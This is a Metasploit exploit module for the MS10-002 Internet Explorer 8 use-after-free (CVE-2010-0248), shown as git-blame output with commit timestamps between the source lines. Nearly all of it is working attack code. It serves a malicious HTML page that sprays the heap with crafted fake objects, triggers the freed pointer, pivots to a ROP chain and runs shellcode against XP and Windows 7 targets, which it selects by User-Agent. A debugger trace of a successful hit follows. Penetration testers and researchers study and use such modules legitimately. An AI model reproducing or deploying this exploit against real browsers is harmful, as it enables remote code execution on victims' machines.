2012-03-21 21:11:26 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2012-03-21 21:11:26 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
2013-08-30 21:28:54 +00:00
|
|
|
Rank = NormalRanking
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::HttpServer::HTML
|
|
|
|
include Msf::Exploit::RopDb
|
|
|
|
|
|
|
|
def initialize(info={})
|
|
|
|
super(update_info(info,
|
2014-03-29 01:33:40 +00:00
|
|
|
'Name' => "MS10-002 Microsoft Internet Explorer Object Memory Use-After-Free",
|
2013-08-30 21:28:54 +00:00
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a vulnerability found in Internet Explorer's
|
|
|
|
mshtml component. Due to the way IE handles objects in memory, it is
|
|
|
|
possible to cause a pointer in CTableRowCellsCollectionCacheItem::GetNext
|
|
|
|
to be used even after it gets freed, therefore allowing remote code
|
|
|
|
execution under the context of the user.
|
|
|
|
|
|
|
|
This particular vulnerability was also one of 2012's Pwn2Own
|
|
|
|
challenges, and was later explained by Peter Vreugdenhil with exploitation
|
|
|
|
details. Instead of Peter's method, this module uses heap spraying like
|
|
|
|
the 99% to store a specially crafted memory layout before re-using the
|
|
|
|
freed memory.
|
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'Peter Vreugdenhil', # Vulnerability discovery and exploit writeup
|
|
|
|
'juan vazquez', # Metasploit
|
|
|
|
'sinn3r' # Metasploit
|
|
|
|
],
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'MSB', 'MS10-002'],
|
|
|
|
[ 'CVE', '2010-0248' ],
|
2016-07-15 17:00:31 +00:00
|
|
|
[ 'OSVDB', '61914'],
|
2013-08-30 21:28:54 +00:00
|
|
|
[ 'URL', 'http://dvlabs.tippingpoint.com/blog/2012/03/15/pwn2own-2012-challenge-writeup' ],
|
2013-10-21 20:07:07 +00:00
|
|
|
[ 'ZDI', '10-014']
|
2013-08-30 21:28:54 +00:00
|
|
|
],
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 1000,
|
|
|
|
'BadChars' => "\x00",
|
|
|
|
'DisableNops' => true
|
|
|
|
},
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
2017-02-23 23:04:36 +00:00
|
|
|
'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
|
2013-08-30 21:28:54 +00:00
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
[ 'Automatic', {} ],
|
|
|
|
[ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => '0x5f4', 'Ret' => 0x77c15ed5 }, ],
|
|
|
|
[ 'IE 8 on Windows 7 SP0', { 'Rop' => :jre, 'Offset' => '0x5f4', 'Ret' => 0x7c348b05 } ]
|
|
|
|
],
|
|
|
|
'Privileged' => false,
|
|
|
|
'DisclosureDate' => "Jan 21 2010",
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
end
|
|
|
|
|
|
|
|
def get_target(agent)
|
|
|
|
#If the user is already specified by the user, we'll just use that
|
|
|
|
return target if target.name != 'Automatic'
|
|
|
|
|
|
|
|
if agent =~ /NT 5\.1/ and agent =~ /MSIE 8/
|
|
|
|
return targets[1] #IE 8 on Windows XP SP3
|
|
|
|
elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 8/
|
|
|
|
return targets[2] #IE 8 on Windows 7 SP1 with JRE
|
|
|
|
else
|
|
|
|
return nil
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
def on_request_uri(cli, request)
|
|
|
|
agent = request.headers['User-Agent']
|
|
|
|
my_target = get_target(agent)
|
|
|
|
|
|
|
|
# Avoid the attack if the victim doesn't have the same setup we're targeting
|
|
|
|
if my_target.nil?
|
|
|
|
print_error("Browser not supported: #{agent.to_s}")
|
|
|
|
send_not_found(cli)
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
print_status("Target selected: #{my_target.name}")
|
|
|
|
|
|
|
|
js_code = build_javascript(my_target)
|
|
|
|
|
|
|
|
html = %Q|
|
2012-03-21 21:11:26 +00:00
|
|
|
<html>
|
2013-08-30 21:28:54 +00:00
|
|
|
<head>
|
|
|
|
<script>
|
2012-03-21 21:11:26 +00:00
|
|
|
#{js_code}
|
2013-08-30 21:28:54 +00:00
|
|
|
</script>
|
|
|
|
</head>
|
|
|
|
<body onLoad="window.setTimeout(Start,100);" id="bodyid">
|
2012-03-21 21:11:26 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
<table id="tableid">
|
|
|
|
<tr><th id="thid"></th></tr>
|
|
|
|
<tr id="trid"><td id="tdid"></td></tr>
|
|
|
|
</table>
|
2012-03-21 21:11:26 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
</body>
|
2012-03-21 21:11:26 +00:00
|
|
|
</html>
|
2013-08-30 21:28:54 +00:00
|
|
|
|
|
|
|
|
|
|
|
|
print_status("Sending HTML")
|
|
|
|
send_response(cli, html, {'Content-Type'=>'text/html'})
|
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
def build_javascript(my_target)
|
|
|
|
|
|
|
|
p = get_payload(my_target)
|
|
|
|
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))
|
|
|
|
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch))
|
|
|
|
|
|
|
|
# The exploit will try to take up the freed memory
|
|
|
|
# with a fake item before the reuse
|
|
|
|
fake_item = [
|
|
|
|
junk,
|
|
|
|
junk,
|
|
|
|
junk,
|
|
|
|
junk,
|
|
|
|
junk,
|
|
|
|
junk,
|
|
|
|
junk,
|
|
|
|
junk,
|
|
|
|
junk,
|
|
|
|
junk,
|
|
|
|
junk,
|
|
|
|
junk,
|
|
|
|
junk,
|
|
|
|
junk,
|
|
|
|
junk,
|
|
|
|
junk,
|
|
|
|
junk,
|
|
|
|
0x0c0c003c, # pointer to c_table_cell
|
|
|
|
junk,
|
|
|
|
junk,
|
|
|
|
junk,
|
|
|
|
0x0c0c0050, # pointer to c_cache_item
|
|
|
|
junk,
|
|
|
|
junk,
|
|
|
|
].pack("V*")
|
|
|
|
fake_item_js = Rex::Text.to_unescape(fake_item)
|
|
|
|
|
|
|
|
# Here start the crafted layout of the memory
|
|
|
|
# which will be sprayed to get code execution
|
|
|
|
# IE 8 => Spray be sprayed into 0c0c0024
|
|
|
|
memory_layout = [
|
|
|
|
junk,
|
|
|
|
junk,
|
|
|
|
junk,
|
|
|
|
junk,
|
|
|
|
junk,
|
|
|
|
junk,
|
|
|
|
0x0c0c0040, # ----- points to 0x0c0c0040
|
|
|
|
0x0c0c0c0c, # <---| 0x0c0c0c0c + 0x70: 0x0c0c0c7c will store the stackpivot with eax pointing to 0c0c0c0c
|
|
|
|
junk,
|
|
|
|
junk,
|
|
|
|
0x00000000, # Allows to bypass CTableCell::GetAAcolSpan
|
|
|
|
junk, # Stored at 0c0c0c50
|
|
|
|
junk,
|
|
|
|
junk,
|
|
|
|
0x0c0c0078,
|
|
|
|
junk,
|
|
|
|
junk,
|
|
|
|
junk,
|
|
|
|
junk,
|
|
|
|
junk,
|
|
|
|
0x0c0c0c50, # <- Stored at 0c0c0074 (0x0c0c0078 - 4)
|
|
|
|
0x00000001 # Stored at 0c0c0078 (0c0c0050+28) # Allows to exit of CTableRowCellsCollectionCacheItem::GetNext faster
|
|
|
|
].pack("V*")
|
|
|
|
memory_layout_js = Rex::Text.to_unescape(memory_layout)
|
|
|
|
|
|
|
|
# Steps:
|
|
|
|
# 1. Force the free.
|
|
|
|
# 2. Try to reuse the freed memory with a fake item.
|
|
|
|
# The fake item store crafted pointers to the
|
|
|
|
# memory which will be sprayed on step 3.
|
|
|
|
# 3. Heap Spray: Shellcode + crafted memory layout to
|
|
|
|
# get execution flow when the memory freed in step 1
|
|
|
|
# is reused in step 4.
|
|
|
|
# 4. Force the memory reuse.
|
|
|
|
spray = <<-JS
|
2012-03-21 21:11:26 +00:00
|
|
|
function Start() {
|
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
var fake_items = unescape("#{fake_item_js}");
|
|
|
|
while (fake_items.length < 0x1000) fake_items+= fake_items;
|
|
|
|
var fake_item = fake_items.substring(0, (96-6)/2);
|
2012-03-21 21:11:26 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
var code = unescape("#{js_code}");
|
|
|
|
var memory_layout = unescape("#{memory_layout_js}")
|
|
|
|
var nops = unescape("#{js_nops}");
|
|
|
|
while (nops.length < 0x80000) nops += nops;
|
|
|
|
var offset = nops.substring(0, #{my_target['Offset']} - memory_layout.length);
|
|
|
|
var shellcode = memory_layout + offset + code + nops.substring(0, 0x800-#{my_target['Offset']}-code.length);
|
|
|
|
while (shellcode.length < 0x40000) shellcode += shellcode;
|
|
|
|
var block_shell = shellcode.substring(0, (0x80000-6)/2);
|
2012-03-21 21:11:26 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
var heap = new heapLib.ie(0x20000);
|
2012-03-21 21:11:26 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
var TableClone = document.getElementById('tableid').cloneNode(1);
|
|
|
|
var TableCellUrns = TableClone.cells.urns('a');
|
|
|
|
var bla = TableClone.cells.item(1);
|
|
|
|
var TableCellUrnsTags = TableCellUrns.tags('a');
|
|
|
|
TableClone.outerText = 'a';
|
2012-03-21 21:11:26 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
heap.gc();
|
|
|
|
for(i = 0; i < 30; i++) {
|
|
|
|
heap.alloc(fake_item);
|
|
|
|
}
|
2012-03-21 21:11:26 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
for (var i=1; i < 0x1C2; i++) {
|
|
|
|
heap.alloc(block_shell);
|
|
|
|
}
|
2012-03-21 21:11:26 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
Result = TableClone.cells;
|
|
|
|
Result = TableCellUrnsTags.item(1);
|
2012-03-21 21:11:26 +00:00
|
|
|
|
|
|
|
}
|
2013-08-30 21:28:54 +00:00
|
|
|
JS
|
|
|
|
|
|
|
|
spray = heaplib(spray, {:noobfu => true})
|
|
|
|
return spray
|
|
|
|
end
|
|
|
|
|
|
|
|
def junk(n=4)
|
|
|
|
return rand_text_alpha(n).unpack("V").first
|
|
|
|
end
|
|
|
|
|
|
|
|
# ROP chain + shellcode will be sprayed at 0x0c0c0c0c
|
|
|
|
def get_payload(t)
|
|
|
|
p = make_nops(46)
|
|
|
|
p << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $+0x6").encode_string # instr length: 2 bytes
|
|
|
|
p << [t.ret].pack("V") # Stack Pivot
|
|
|
|
p << payload.encoded
|
|
|
|
|
|
|
|
case t['Rop']
|
|
|
|
when :msvcrt
|
|
|
|
rop_payload = generate_rop_payload('msvcrt', p, {'target'=>'xp'})
|
|
|
|
else
|
|
|
|
rop_payload = generate_rop_payload('java', p)
|
|
|
|
end
|
|
|
|
|
|
|
|
return rop_payload
|
|
|
|
end
|
2012-03-21 21:11:26 +00:00
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
=begin
|
|
|
|
(694.cc0): Break instruction exception - code 80000003 (first chance)
|
|
|
|
eax=00000000 ebx=00000100 ecx=0241f518 edx=7c90e4f4 esi=7c90d6d0 edi=ffffffff
|
|
|
|
eip=7c8022cf esp=0241f534 ebp=0241f548 iopl=0 nv up ei pl zr na pe nc
|
|
|
|
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
|
|
|
|
kernel32!WriteProcessMemory+0x6d:
|
|
|
|
7c8022cf cc int 3
|
2012-04-20 19:31:42 +00:00
|
|
|
=end
|